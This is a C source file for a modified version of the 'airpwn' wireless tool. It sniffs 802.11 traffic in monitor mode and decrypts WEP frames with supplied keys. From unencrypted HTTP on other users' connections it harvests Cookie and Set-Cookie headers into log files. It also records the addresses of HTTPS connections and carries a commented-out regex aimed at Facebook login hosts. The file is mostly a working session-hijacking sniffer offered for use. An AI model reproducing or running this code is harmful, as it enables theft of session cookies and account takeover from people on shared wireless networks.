/*
 * Copyright (C) 2004 toast
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>

#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <time.h>

#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/wireless.h>

#include <getopt.h>

#include <tx80211.h>
#include <tx80211_packet.h>

#define _NET_IF_H // to avoid double-includes
#include <libnet.h>
#include <pcap.h>

#include "802_11.h"
#include "wep.h"

#include "hashtable.h"

struct Tracker tracker;


// context for holding program state
struct airpwn_ctx {
  char *monitor_if;
  char *control_if;
  char *inject_if;
  libnet_ptag_t tcp_t;
  libnet_ptag_t ip_t;
  libnet_t *lnet;
  unsigned int verbosity;
  FILE *logfile;
  wepkey *keys;
  uint16_t iface_mtu;
  uint8_t fcs_present;
  //LORCON structs
  struct tx80211 monitor_tx;
  struct tx80211 control_tx;
  struct tx80211 inject_tx;
  struct tx80211_packet in_packet;
};

typedef struct airpwn_ctx airpwn_ctx;
  
/* 
 * Convenience function which is a wrapper for printf.  Only prints if
 * log_level is less than ctx->verbosity.
 */
void printlog(airpwn_ctx *ctx, int log_level, char *format, ...){
  va_list ap;

  if(ctx->verbosity >= log_level){
    va_start(ap, format);
    vprintf(format, ap);
    va_end(ap);
  }
}

void dumphex(uint8_t *data, uint32_t len){
  uint32_t i;

  printf("| ");
  for(i = 0; i < len; i++){
    if(i && i % 16 == 0)
      printf("|\n| ");
    printf("%02x ", data[i]);
  }
  printf("\n\n");
}

wepkey *parse_wepkey(char *keystr){
  uint8_t keybytes[WEPLARGEKEYSIZE];
  wepkey *key;
  uint32_t len;

  len = strlen(keystr);
  if(len != (WEPLARGEKEYSIZE * 2 + WEPLARGEKEYSIZE - 1) && 
      len != (WEPSMALLKEYSIZE * 2 + WEPSMALLKEYSIZE - 1))
    return NULL;
  
  if(sscanf(keystr,
	"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:"
	"%02hhx:%02hhx:%02hhx:%02hhx",
	keybytes,
	keybytes+1,
	keybytes+2,
	keybytes+3,
	keybytes+4,
	keybytes+5,
	keybytes+6,
	keybytes+7,
	keybytes+8,
	keybytes+9,
	keybytes+10,
	keybytes+11,
	keybytes+12) == WEPLARGEKEYSIZE){
    key = calloc(1, sizeof(wepkey));
    memcpy(key->key, keybytes, WEPLARGEKEYSIZE);
    key->keylen = WEPLARGEKEYSIZE;
    return key;
  }
  if(sscanf(keystr,
	"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx",
	keybytes,
	keybytes+1,
	keybytes+2,
	keybytes+3,
	keybytes+4) == WEPSMALLKEYSIZE){
    key = calloc(1, sizeof(wepkey));
    memcpy(key->key, keybytes, WEPSMALLKEYSIZE);
    key->keylen = WEPSMALLKEYSIZE;
    return key;
  }
  return NULL;
}

/*
 * Function for printing usage information
 * */
void usage(){

  struct tx80211_cardlist *cardlist = NULL;
  int i;

  printf("usage: airpwn -d <driver name> [interface options] "
      "[options]\n");
  printf("\t<driver name> : supported wireless driver name\n");
  printf("\nInterface options:\n");
  printf("\tYou can use -i to set all 3 interfaces at once, or use the\n");
  printf("\tother options to set each interface individually.\n");
  printf("\t-i <iface> : sets the listen/control/inject interface\n");
  printf("\t-M <iface> : sets the listen (monitor) interface\n");
  printf("\t-C <iface> : sets the control interface\n");
  printf("\t-I <iface> : sets the injection interface\n");
  printf("\nOptional arguments:\n");
  printf("\t-l <logfile> : log verbose data to a file\n");
  printf("\t-f <filter> : bpf filter for libpcap\n");
  printf("\t-F : assume no FCS values from the monitored interface\n");
  printf("\t-m <max> : Specify the maximum data chunk size (MTU - headers)\n");
  printf("\t-k <WEP key>: key to use to de/encrypt WEP packets.  You can\n");
  printf("\t\tuse this option multiple times to specify multiple WEP keys.\n");
  printf("\t-v : increase verbosity (can be used multiple times)\n");
  printf("\t-h : get help (this stuff)\n");
  printf("\n");

  cardlist = tx80211_getcardlist();
  if (cardlist == NULL) {
    fprintf(stderr, "Error accessing supported driver list.\n");
  } else {
    printf("Supported drivers are: ");
    for (i = 1; i < cardlist->num_cards; i++) {
      printf("%s ", cardlist->cardnames[i]);
    }
    printf("\n");
  }
  
}

/*
 * Thread that listens for integers on stdin an interprets them as
 * channels.  If the channel is valid, it will immediately switch to
 * that channel on both interfaces.
 */
void *channel_thread(void *arg){
  airpwn_ctx *ctx = arg;
  unsigned int channel;
  char buff[80];
  
  printlog(ctx, 2, "Channel changing thread starting..\n\n");
  
  for(;;) {
    if(fgets(buff, sizeof(buff), stdin) && strlen(buff) > 1) {
      channel = atoi(buff);
      /* Accommodate 802.11b or 802.11a channels */
      if( (channel < 14 && channel != 0) || 
          ((channel * 2) > 67 && (channel * 2) < 129)) {
		  
	printlog(ctx, 0, "changing channel to %u\n", channel);
	if (tx80211_setchannel(&ctx->control_tx, channel) != 0) {
	  fprintf(stderr, "Error setting channel to %d\n", channel);
	}
      } else {
	printlog(ctx, 0, "Error: illegal channel specified\n", channel);
      }
    }
  }
}


/*
 * Convenience function to extract the ssid name from a raw 802.11 frame
 * and copy it to the ssid_name argument.  max_name_len is the length of
 * the ssid_name buffer
 */
int get_ssid(const u_char *packet_data, char *ssid_name, u_short max_name_len){
  if(packet_data[36] == 0){ // this is the SSID
    u_short ssid_len = packet_data[37];

    if(ssid_len == 0){
      ssid_name[0] = 0;

      return 0;
    }

    u_short max_len = ssid_len > max_name_len ? max_name_len - 1 : ssid_len;

    memcpy(ssid_name, &packet_data[38], max_len);

    ssid_name[max_len] = 0;

    return 0;
  }

  return -1;
}

// Process an IP packet
void process_ip_packet(airpwn_ctx *ctx, ieee80211_hdr *w_hdr, 
    const uint8_t *data, uint32_t caplen, uint8_t *wepkey, uint32_t keylen)
{
  int ovector[30];
  time_t timeval;
  struct tm *tmval;
  struct iphdr *ip_hdr = (struct iphdr*)data;
  
  if(ntohs(ip_hdr->tot_len) > caplen) // goofy IP packet
  {
   //printf("Goofy packet\n", data);
    return;
  }
  
  
  // // Test UDP
  // struct udphdr *udp_hdr = 
  // (struct udphdr*) (data + (ip_hdr->ihl * 4));
  // uint16_t datalenudp = 
  // ntohs(ip_hdr->tot_len) - (ip_hdr->ihl * 4) - (udp_hdr->len * 4);
  
  
  if(ip_hdr->protocol != IPPROTO_TCP) // only support TCP for now..
  {
// if(ip_hdr->protocol == IPPROTO_UDP)
// { printf("UDP Packet...\n"); }
// else
// { printf("Unknown type...\n"); }
    return;
  }

	// Get TCP data
	struct tcphdr *tcp_hdr = (struct tcphdr*) (data + (ip_hdr->ihl * 4));
	const uint8_t *data_ptr = (uint8_t*)tcp_hdr + tcp_hdr->doff * 4;
	uint16_t datalen = ntohs(ip_hdr->tot_len) - (ip_hdr->ihl * 4) - (tcp_hdr->doff * 4);
	
	// make sure the packet isn't empty..
	if(datalen <= 0)
	{
		//printf("Empty packet: %d\n", datalen);
		return;
	}

	// IPs and ports display
	struct in_addr in;
	char ip1[16], ip2[16], buf[512];
	in.s_addr = ip_hdr->saddr;
	memcpy(ip1, inet_ntoa(in), sizeof(ip1));
	in.s_addr = ip_hdr->daddr;
	memcpy(ip2, inet_ntoa(in), sizeof(ip2));
        //printf("%s:%d -> %s:%d\n", ip1, ntohs(tcp_hdr->source), ip2, ntohs(tcp_hdr->dest));


       /*
       Let's store all SSL connections for later :)
       */
       if (ntohs(tcp_hdr->dest) == 443)
       {
          // From server to client
          FILE *file = NULL;
          if (!(file = fopen("ssl_connections.txt", "ab")))
          {
            printf("Problem opening cookies file...\n");
          }
          else
          {
            if ((fwrite(ip2, 1, strlen(ip2), file) != (size_t) strlen(ip2)) ||
                 (fwrite("\n", 1, 1, file) != (size_t) 1))
            {
              printf("Error writing to cookies file...\n");
            }
            else
            {
              printf("[!SSL!]\n");
            }
          fclose(file);
         }
       }
       else if (ntohs(tcp_hdr->source) == 443)
       {
          // From client to server
          FILE *file = NULL;
          if (!(file = fopen("ssl_connections.txt", "ab")))
          {
            printf("Problem opening cookies file...\n");
          }
          else
          {
            if ((fwrite(ip1, 1, strlen(ip1), file) != (size_t) strlen(ip1)) ||
                (fwrite("\n", 1, 1, file) != (size_t) 1))
            {
              printf("Error writing to cookies file...\n");
            }
            else
            {
              printf("[!SSL!]\n");
            }
          fclose(file);
         }
       }


	if ((ntohs(tcp_hdr->dest) != 80) && (ntohs(tcp_hdr->source) != 80))
	  return;

        struct http_request request;

	// Is it a HTTP packet?
	if (ntohs(tcp_hdr->dest) == 80)
	{
          //printf("REQUEST\n");

          // ### HTTP REQUEST ###
          track_tcp_packet(&tracker, ip_hdr, &request);

          // Checks if request contains a Cookie field :)
          uint8_t *cookiestr = NULL;
          uint8_t *hoststr = NULL;
          int cookies_len = 0;
          int host_len = 0;
          if ((host_len = get_header(&request, "Host", 4, &hoststr)) != -1)
          {
            if (request.headers_complete == 1)
            {
                // Stops tracking the corresponding stream if we have already received all the headers
                stop_tracking_http_request(&request);
            }

            if ((cookies_len = get_header(&request, "Cookie", 6, &cookiestr)) != -1)
            {
              // Write cookie in log file
              FILE *file = NULL;
              if (!(file = fopen("airpwn_cookies_client.txt", "ab")))
              {
                printf("Problem opening cookies file...\n");
              }
              else
              {
                if ((fwrite("Hostname: ", 1, 10, file) != (size_t) 10) ||
                    (fwrite(hoststr, 1, host_len, file) != (size_t) host_len) ||
                    (fwrite("\tCookie: ", 1, 9, file) != (size_t) 9) ||
                    (fwrite(cookiestr, 1, cookies_len, file) != (size_t) cookies_len) ||
                    (fwrite("\n", 1, 1, file) != (size_t) 1))
                {
                  printf("Error writing to cookies file...\n");
                }
                else
                {
                  //printf("Writing cookies from host %.*s to file airpwn_cookies.txt\n", host_len, hoststr);
                  printf("[!COOKIES!] ");
                }
              fclose(file);
              }
            }
            printf("%.*s seen\n", host_len, hoststr);
          }

	}
	else if (ntohs(tcp_hdr->source) == 80)
	{
          //printf("RESPONSE\n");

          // ### HTTP RESPONSE ###
          track_tcp_packet(&tracker, ip_hdr, &request);

          // Checks if request contains a Cookie field :)
          uint8_t *cookiestr = NULL;
          int cookies_len = 0;

          if (request.headers_complete == 1)
          {
              // Stops tracking the corresponding stream if we have already received all the headers
              stop_tracking_http_request(&request);
          }

          if ((cookies_len = get_header(&request, "Set-Cookie", 10, &cookiestr)) != -1)
          {
            // Write cookie in log file
            FILE *file = NULL;
            if (!(file = fopen("airpwn_cookies_server.txt", "ab")))
            {
              printf("Problem opening cookies file...\n");
            }
            else
            {
              if ((fwrite("IP: ", 1, 4, file) != (size_t) 4) ||
                  (fwrite(ip1, 1, strlen(ip1), file) != (size_t) strlen(ip1)) ||
                  (fwrite("\tCookie: ", 1, 8, file) != (size_t) 8) ||
                  (fwrite(cookiestr, 1, cookies_len, file) != (size_t) cookies_len) ||
                  (fwrite("\n", 1, 1, file) != (size_t) 1))
              {
                printf("Error writing to cookies file...\n");
              }
              else
              {
                //printf("Writing cookies from host %.*s to file airpwn_cookies.txt\n", host_len, hoststr);
                printf("[!COOKIES!] %.*s\n", cookies_len, cookiestr);
              }
              fclose(file);
            }
          }
          //printf("%s seen\n", ip1);
        }

  free_http_request(&request);
}

/*
 * Called by pcap_loop for every packet that passes the (optional) bpf
 * filter
 */
void pckt_callback(u_char *user, const struct pcap_pkthdr *pkthdr, 
    const u_char *packet_data)
{
  ieee80211_hdr w_hdr;
  airpwn_ctx *ctx = (airpwn_ctx *)user;
  char ssid_name[256];
  uint32_t packetlen;

  packetlen = pkthdr->len;

  // code to handle skipping past "prism monitoring header" blocks
  if(*((unsigned int*)packet_data) == htonl(0x44000000)){
    uint32_t len = *((uint32_t*)(packet_data+4));
    packet_data = packet_data + len;
    packetlen -= len;
  }

  // same for radiotap headers, which have a first 16 bits of 0x0000
  if(*((uint16_t*)packet_data) == htons(0x0000)) {
    uint16_t len = *((uint16_t*)(packet_data+2));
    packet_data = packet_data + len;
    packetlen -= len;
  }

// if (packet_data[0] != 0x80)
	// printf("%x ", packet_data[0]);

  switch(packet_data[0]){
    // data packet
	
    case 0x08:
    case 0x88:
	
	  if (packet_data[0] == 0x08)
	  {
		memcpy(&w_hdr, packet_data, sizeof(w_hdr));
	  }
	  else
	  {
		memcpy(&w_hdr, packet_data, sizeof(w_hdr) + 2);
      }
	  
	  //printlog(ctx, 3, "\n  data packet len: %u, flags: %hhu %s DS\n", 
	  //pkthdr->len, w_hdr.flags, 
	  //w_hdr.flags & IEEE80211_FROM_DS ? "<--" : "-->");
      
/*      if(w_hdr.flags & IEEE80211_FROM_DS) // ignore packets from the AP
{
	printf("Packet from AP\n");
	break;
}
*/
      
      if(IS_WEP(w_hdr.flags))
    { // the packet is WEP encrypted
	//printf("WEP packet\n");
	uint8_t cleartext[0x10000];
	int32_t clearlen;
	wepkey *key;
	//printlog(ctx, 3, "    WEP encrypted packet found.\n");

	if(!ctx->keys) // no WEP keys so ignore this packet
	  break;
	
	//TODO: some packets may not have a frame check sequence at the
	//end, need to figure this out instead of always subtracting 4
	//bytes.
	for(key = ctx->keys; key != NULL; key = key->next){
	  clearlen = wep_decrypt(packet_data + IEEE80211_HDR_LEN_NO_LLC,
	      cleartext, 
		  /* Bug !! */
		  //packetlen - IEEE80211_HDR_LEN_NO_LLC - (ctx->fcs_present ? IEEE80211_FCS_LEN : 0),
	      packetlen - IEEE80211_HDR_LEN_NO_LLC,
	      key->key, key->keylen);

	  if(clearlen > 0)
	  {
	    //printlog(ctx, 3, "    WEP decryption successful.\n");
	    //dumphex(cleartext, clearlen);
	  
	    memcpy(&w_hdr.llc, cleartext, sizeof(LLC_hdr));
	    
	    if(w_hdr.llc.type == LLC_TYPE_IP)
		{
	      process_ip_packet(ctx, &w_hdr, cleartext+LLC_HDR_LEN, 
		  clearlen-LLC_HDR_LEN, key->key, key->keylen);
	    }
	  }
	  else
		  {
		  //printlog(ctx, 3, "    WEP decryption failed (first attempt)..\n"); 
		  
		  clearlen = wep_decrypt(packet_data + IEEE80211_HDR_LEN_NO_LLC,
			  cleartext, 
			  packetlen - IEEE80211_HDR_LEN_NO_LLC - IEEE80211_FCS_LEN,
			  key->key, key->keylen);
			  
		  if(clearlen > 0)
		  {
			//printlog(ctx, 3, "    WEP decryption successful.\n");
			//dumphex(cleartext, clearlen);
		  
			memcpy(&w_hdr.llc, cleartext, sizeof(LLC_hdr));
			
			if(w_hdr.llc.type == LLC_TYPE_IP)
			{
			  process_ip_packet(ctx, &w_hdr, cleartext+LLC_HDR_LEN, 
			  clearlen-LLC_HDR_LEN, key->key, key->keylen);
			}
		  }
		  //else {printlog(ctx, 3, "    WEP decryption failed\n"); }
	  }
	}
      }

	// No encryption
      else if(w_hdr.llc.type == LLC_TYPE_IP)
	{
		// IP Packet
		//printf("IP Packet\n");
		process_ip_packet(ctx, &w_hdr, packet_data + IEEE80211_HDR_LEN, 
			pkthdr->len, NULL, 0);
	}
	
	else
	// Type/Subtype: QoS Data (0x88) (QoS control: 2 more octets)
	{
		if ((packet_data[32] == 0x08) && (packet_data[33] == 0x00))
		// IP Packet
		{
			process_ip_packet(ctx, &w_hdr, packet_data + IEEE80211_HDR_LEN + 2, 
					pkthdr->len, NULL, 0);
		}
	}


      break;
    case 0x80:
      get_ssid(packet_data, ssid_name, sizeof(ssid_name));
      printlog(ctx, 4, "  beacon frame (%s)\n", ssid_name);
      break;
    case 0x40:
      get_ssid(packet_data, ssid_name, sizeof(ssid_name));
      printlog(ctx, 4, "  probe request (%s)\n", ssid_name);
      break;
    case 0x50:
      get_ssid(packet_data, ssid_name, sizeof(ssid_name));
      printlog(ctx, 4, "  probe response (%s)\n", ssid_name);
      break;
    case 0xd4:
      printlog(ctx, 4, "  acknowledgement\n");
      break;
    case 0x48:
      printlog(ctx, 4, "  null function\n");
      break;
    case 0xb0:
      printlog(ctx, 4, "  authentication\n");
      break;
    case 0xc0:
      printlog(ctx, 4, "  deauthentication\n");
      break;
    case 0x30:
      printlog(ctx, 4, "  reassociation response\n");
      break;
    case 0xc4:
      printlog(ctx, 4, "  clear to send\n");
      break;
    default:
      printlog(ctx, 4, " ***  unknown type %x\n", packet_data[0]);
  }
}

/*
 * Calls pcap_loop in a loop, listens for packets and processes..
 */
void pcap_monitor(char *interface, airpwn_ctx *ctx, char *filterstr){
  pcap_t *pctx;
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program prog;

  pctx = pcap_open_live(interface, 0xffff, 1, 1, errbuf);

  if(pctx == NULL){
    printf("Error returned from pcap_open_live: %s\n", errbuf);

    return;
  }

  if(filterstr){
    if(pcap_compile(pctx, &prog, filterstr, 0, 0)){
      printf("Error returned from pcap_compile: %s\n", pcap_geterr(pctx));

      exit(1);
    }

    if(pcap_setfilter(pctx, &prog)){
      printf("Error returned from pcap_setfilter: %s\n",
	  pcap_geterr(pctx));

      exit(1);
    }
  }

  // Initialize tracker
  tracker.first_tracker = NULL;

  for(;;){
    pcap_loop(pctx, 1, pckt_callback, (u_char*)ctx);
  }
}


int main(int argc, char **argv){
  char lnet_err[LIBNET_ERRBUF_SIZE];
  char *filterstr=NULL;
  int drivertype=INJ_NODRIVER; /* for lorcon */
  wepkey *tmpkey;
  
  if (argc < 7) { // minimum # of arguments
    usage();
    exit(1);
  }

  airpwn_ctx *ctx = calloc(1, sizeof(airpwn_ctx));
  if(ctx == NULL){
    perror("calloc");
    exit(1);
  }

  // some default ctx values
  ctx->iface_mtu = 1460;
  ctx->fcs_present = 1;

  for(;;){
    int c = getopt(argc, argv, "i:o:l:f:vhd:C:M:I:k:m:F");

    if(c < 0)
      break;

    switch(c){
      case 'h':
	     usage();
	     exit(0);
      case 'v':
	     ctx->verbosity++;
	     break;
      case 'i':
				ctx->control_if = optarg;
				ctx->inject_if = optarg;
				ctx->monitor_if = optarg;
				break;
      case 'f':
				filterstr = optarg;
				break;
      case 'l':
				ctx->logfile = fopen(optarg, "a");
				if(ctx ->logfile == NULL){
				  perror("fopen");
				  exit(1);
				}
      	break;
      case 'd':
        drivertype = tx80211_resolvecard(optarg);
      	break;
      case 'M':
				ctx->monitor_if = optarg;
				break;
      case 'C':
				ctx->control_if = optarg;
				break;
      case 'I':
				ctx->inject_if = optarg;
				break;
      case 'k':
				tmpkey = parse_wepkey(optarg);
				if(tmpkey == NULL){
				  fprintf(stderr, "Error parsing WEP key: %s\n", optarg);
				  exit(1);
				}
				tmpkey->next = ctx->keys;
				ctx->keys = tmpkey;
				break;
		  case 'm':
		    ctx->iface_mtu = (uint16_t)strtol(optarg, NULL, 10);
		    break;
      case 'F':
        ctx->fcs_present = 0;
        break;
      default:
				usage();
				exit(1);
    }
  }

  if(ctx->control_if == NULL || ctx->monitor_if == NULL || 
      ctx->inject_if == NULL){
    usage();
    exit(1);
  }
	
// 	//// Test Regexp matching
// 	char *regexp = "^GET /(.*?)Host: (www.facebook.com|login.facebook.com|0.channel36.facebook.com)";
// 	const char *str_to_match = "GET /x/1210505439/false/p_1103177313=0 HTTP/1.1\r\nHost: 0.channel36.facebook.com\r\nUser-Agent: Mozilla/5.0 (Wind";
// 	//const char *str_to_match = "GET / HTTP/1.1\r\nzrkgfjerg\r\ndfgrd\nergefherHost: www.facebook.com";
// 	int datalen = strlen(str_to_match);
// 	
// 	int ovector[30];
// 	printf("\n\nTest REGEXP\n-----------------\n");
// 	const char *errptr;
// 	int c;
// 	pcre *match = pcre_compile(regexp, PCRE_MULTILINE|PCRE_DOTALL, 
// 	    &errptr, &c, NULL);
// 	if(match == NULL){
// 	  printf("Error at character %d in pattern: \"%s\" (%s)\n",
// 	      c, regexp, errptr);
// 	  return NULL;
// 	}
// 	if(pcre_exec(match, NULL, str_to_match, datalen, 0, 0, ovector, 30) > 0)
// 	{printf("MATCH!!\n");
// 	int length_host = ovector[3]-ovector[2];
// 	printf("l'host est: %.*s\n", length_host, str_to_match + ovector[2]);
// 	printf("ovector[6] = %d - %d\n", ovector[6], ovector[7]);
// 	printf("Length of post: %d\n", datalen - ovector[6]);
// 	}
// 	else {printf("No match...\n");}
// 	exit(0);
	


// New TCP packet arrived (SEQ = -243511533 134f7cf1)
// New TCP packet arrived (SEQ = -1652404461 134f829d)




// 	printf("TEST u_int32_t\n");
// 	u_int8_t *first1 = (u_int8_t *) malloc(5*sizeof(char));
// 	u_int8_t *first2 = (u_int8_t *) malloc(5*sizeof(char));
// 	first1[0] = 0x13;
// 	first1[1] = 0x4f;
// 	first1[2] = 0x7c;
// 	first1[3] = 0xf1;
// 	first2[0] = 0x13;
// 	first2[1] = 0x4f;
// 	first2[2] = 0x82;
// 	first2[3] = 0x9d;
// 
// 	//unsigned long seq1 = *((unsigned long *) first1);
// 	unsigned long seq2 = *((unsigned long *) first2);
// 	
// 	unsigned long seq1 = 0;
// 	seq1 |= (first1[0] << 24);
// 	seq1 |= (first1[1] << 16);
// 	seq1 |= (first1[2] << 8);
// 	seq1 |= first1[3];
// 	
//   	printf("\nFirst1:  %x%x%x%x => %x)\n", *((u_int8_t *) (first1)), *((u_int8_t *) (first1) + 1), *((u_int8_t *) (first1) + 2), *((u_int8_t *) (first1) + 3), seq1);
//   	printf("\nFirst2:  %x%x%x%x => %x)\n", *((u_int8_t *) (first2)), *((u_int8_t *) (first2) + 1), *((u_int8_t *) (first2) + 2), *((u_int8_t *) (first2) + 3), seq2);
//   	
//   	if (seq1 < seq2)
//   	{
//   	  printf("SEQ1 < SEQ2\n", seq1, seq2);
//   	}
//   	else
//   	{
//   	  printf("SEQ2 < SEQ1\n", seq2, seq1);
//   	}
//   	
// 	exit(0);


	
	
	
  /* Initialize lorcon here */
  if (drivertype == INJ_NODRIVER) {
    fprintf(stderr, "Driver name not recognized.\n");
    usage();
    return 1;
  }

  printlog(ctx, 1, "Opening command socket..\n");

  /* Initialize lorcon function pointers and other parameters */
  if (tx80211_init(&ctx->control_tx, ctx->control_if, drivertype) < 0) {
    fprintf(stderr, "Error initializing lorcon.\n");
    return 1;
  }

  printlog(ctx, 1, "Opening monitor socket..\n");

  /* Initialize lorcon function pointers and other parameters */
  if (tx80211_init(&ctx->monitor_tx, ctx->monitor_if, drivertype) < 0) {
    fprintf(stderr, "Error initializing lorcon.\n");
    return 1;
  }
 
  /* Set monitor mode */
  if (tx80211_setfunctionalmode(&ctx->monitor_tx, IW_MODE_MONITOR) != 0) {
    fprintf(stderr, "Error setting monitor mode for interface %s.\n",
        ctx->monitor_tx.ifname);
    //return 1;
  }

  //ctx->lnet = libnet_init(LIBNET_LINK_ADV, ctx->in_if, lnet_err);
  ctx->lnet = libnet_init(LIBNET_LINK_ADV, "lo", lnet_err);
  if(ctx->lnet == NULL){
    printf("Error in libnet_init: %s\n", lnet_err);

    exit(1);
  }

  printlog(ctx, 0, "Listening for packets...\n");
  
  pthread_t thread;
  if(pthread_create(&thread, NULL, channel_thread, ctx)){
    perror("pthread_create");
    exit(1);
  }
  
  pcap_monitor(ctx->monitor_if, ctx, filterstr);

  return 0;
}
